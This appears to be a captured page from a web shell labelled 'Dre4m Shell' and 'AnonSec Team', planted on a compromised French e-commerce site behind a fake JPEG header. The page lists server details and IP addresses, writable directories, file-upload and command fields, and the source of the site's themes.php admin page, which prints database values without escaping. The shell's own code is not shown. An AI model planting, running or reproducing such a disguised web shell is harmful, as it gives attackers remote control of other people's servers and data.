ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/OLD/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/OLD/cp-admin/themes.php
<?php

include_once('includes/header.php');


if(isset($_POST['edit'])) {
  $sql = $bdd->prepare('UPDATE info SET ecotext=:ecotext,impro=:impro,theme=:theme,maxi=:maxi,ouverture=:ouverture WHERE id = 1');

  $sql->execute(array(
      'impro'   => $_POST['impro'],
      'theme'   => $_POST['new'],
      'maxi'   => $_POST['maxi'],
      'ecotext'   => $_POST['ecotext'],
      'ouverture'   => $_POST['ouverture']
     
   ));

  echo '<script>';
  echo 'window.location = "./themes.php"';
  echo '</script>';
}



$sql = $bdd->query('SELECT * FROM info
  WHERE id = 1');

  $list = $sql->fetchAll();
  
  for($i=0; $i<count($list); $i++) {
        $title = $list[$i]['title'];
        $meta_caption= $list[$i]['meta_caption'];
        $meta_keywords= $list[$i]['meta_keywords'];
        $url = $list[$i]['url'];
        $email_contact = $list[$i]['email_contact'];
        $email_rappel = $list[$i]['email_rappel'];
        $company = $list[$i]['company'];
        $surname = $list[$i]['surname'];
        $first_name = $list[$i]['first_name'];
        $address = $list[$i]['address'];
        $zip_code = $list[$i]['zip_code'];
        $town = $list[$i]['town'];
        $phone = $list[$i]['phone'];
        $fax = $list[$i]['fax'];
        $google_analytics = $list[$i]['google_analytics'];
        $maintenance = $list[$i]['maintenance'];
        $facebook= $list[$i]['facebook'];
        $twitter= $list[$i]['twitter'];
        $google_plus= $list[$i]['google_plus'];
        $paypal_adress= $list[$i]['paypal_adress'];
        $iban = $list[$i]['iban'];
        $ouverture= $list[$i]['ouverture'];
        $maxi = $list[$i]['maxi'];
        $garantie = $list[$i]['garantie'];
        $impro = $list[$i]['impro'];
        $ecotext = $list[$i]['ecotext'];
        
}





?>
<div class="container">
    <div class="row">
    	<div class="span12">
        	<div class="page-header">
           	 	<h1>Modifier le th&egrave;me de la boutique
        		</h1>
          	</div>
        </div>
    </div>

    <?php



    echo '<div id="form-content" style="">';
      echo '<form class="form-horizontal" method="post" action="#" enctype="multipart/form-data">';
        echo '<div class="row-fluid">';
          echo '<div class="span6">';


echo '<br /><br /><br /><br />Vous avez la possibilit&eacute; de modifier le th&egrave;me de la boutique.<br />
Actuellement la s&eacute;lection est :<br /><br />


';






              echo '<div class="control-group">';
                echo '<label class="control-label" for="new">Modifier :</label>';
                echo '<div class="controls">';
                  echo '<select name="new" id="new" style="width:300px;">';
                  
 $sql = $GLOBALS['bdd']->query('SELECT t1, t2, t3, t4, t5, t6, t7, theme FROM info 
	WHERE id = 1');

$info = $sql->fetch();
	$t1 = $info['t1'];
	$t2 = $info['t2'];
	$t3 = $info['t3'];
	$t4 = $info['t4'];
	$t5 = $info['t5'];
	$t6 = $info['t6'];
	$t7 = $info['t7'];
	$theme = $info['theme'];
                 
 
if (!empty($t1)){ echo '<option value="'.$t1.'"'; if($theme == $t1)echo ' selected'; echo '>' . $t1 . '</option>';  } 
if (!empty($t2)){ echo '<option value="'.$t2.'"'; if($theme == $t2)echo ' selected'; echo '>' . $t2 . '</option>'; }
if (!empty($t3)){ echo '<option value="'.$t3.'"'; if($theme == $t3)echo ' selected'; echo '>' . $t3 . '</option>'; }
if (!empty($t4)){ echo '<option value="'.$t4.'"'; if($theme == $t4)echo ' selected'; echo '>' . $t4 . '</option>'; }
if (!empty($t5)){ echo '<option value="'.$t5.'"'; if($theme == $t5)echo ' selected'; echo '>' . $t5 . '</option>'; }
if (!empty($t6)){ echo '<option value="'.$t6.'"'; if($theme == $t6)echo ' selected'; echo '>' . $t6 . '</option>'; }
if (!empty($t7)){ echo '<option value="'.$t7.'"'; if($theme == $t7)echo ' selected'; echo '>' . $t7 . '</option>'; }

                  echo '</select>';
                echo '</div>';
              echo '</div>';





                    echo '     <div class="control-group">
              <label class="control-label" for="titlefrom">Slogan Header :</label>
              <div class="controls">
                  <input type="text" id="ouverture" name="ouverture" style="width:100%" value="'.$ouverture.'">
              </div>
            </div>';

           
                    echo '     <div class="control-group">
              <label class="control-label" for="titlefrom">Texte taxe eco :</label>
              <div class="controls">
                  <input type="text" id="ecotext" name="ecotext" style="width:100%" value="'.$ecotext.'">
              </div>
            </div>';
            
            
              echo '<div class="control-group">';
                echo '<label class="control-label" for="new">Image PROMOS :</label>';
                echo '<div class="controls">';
                  echo '<select name="impro" id="new" style="width:300px;">';
                   
echo '<option value="1"'; if($impro <2 )echo ' selected'; echo '>Image PROMOS</option>';  
echo '<option value="2"'; if($impro >1 )echo ' selected'; echo '>Image SOLDES</option>'; 
            echo '</select>';
                echo '</div>';
              echo '</div>';



echo'
             <div class="control-group">
              <label class="control-label" for="titlefrom">Livraison offerte &agrave; partir :</label>
              <div class="controls">
                  <input type="text" id="maxi" name="maxi" style="width:80px" value="'.$maxi.'" /> &euro;
              </div>
            </div>
';
              
              
    		echo '<div class="form-actions" style="background: none; border: none;" >';
          echo '<div class="btn-group">';
            echo '<button type="submit" name="edit" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>';
          echo '</div>';      
        echo '</div>';


          echo '</div>';      
        echo '</div>';
      echo '</form>';
    echo '</div>';
    
    
    ?>

</div>
<script type="text/javascript" src="assets/js/chosen.jquery.js" ></script>
<script type="text/javascript">
    var config = {
        '.chosen-select'           : {},
        '.chosen-select-deselect'  : {allow_single_deselect:true},
        '.chosen-select-no-single' : {disable_search_threshold:10},
        '.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
        '.chosen-select-width'     : {width:"95%"}
    }
    for (var selector in config) {
        $(selector).chosen(config[selector]);
    }
</script>
<?php
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team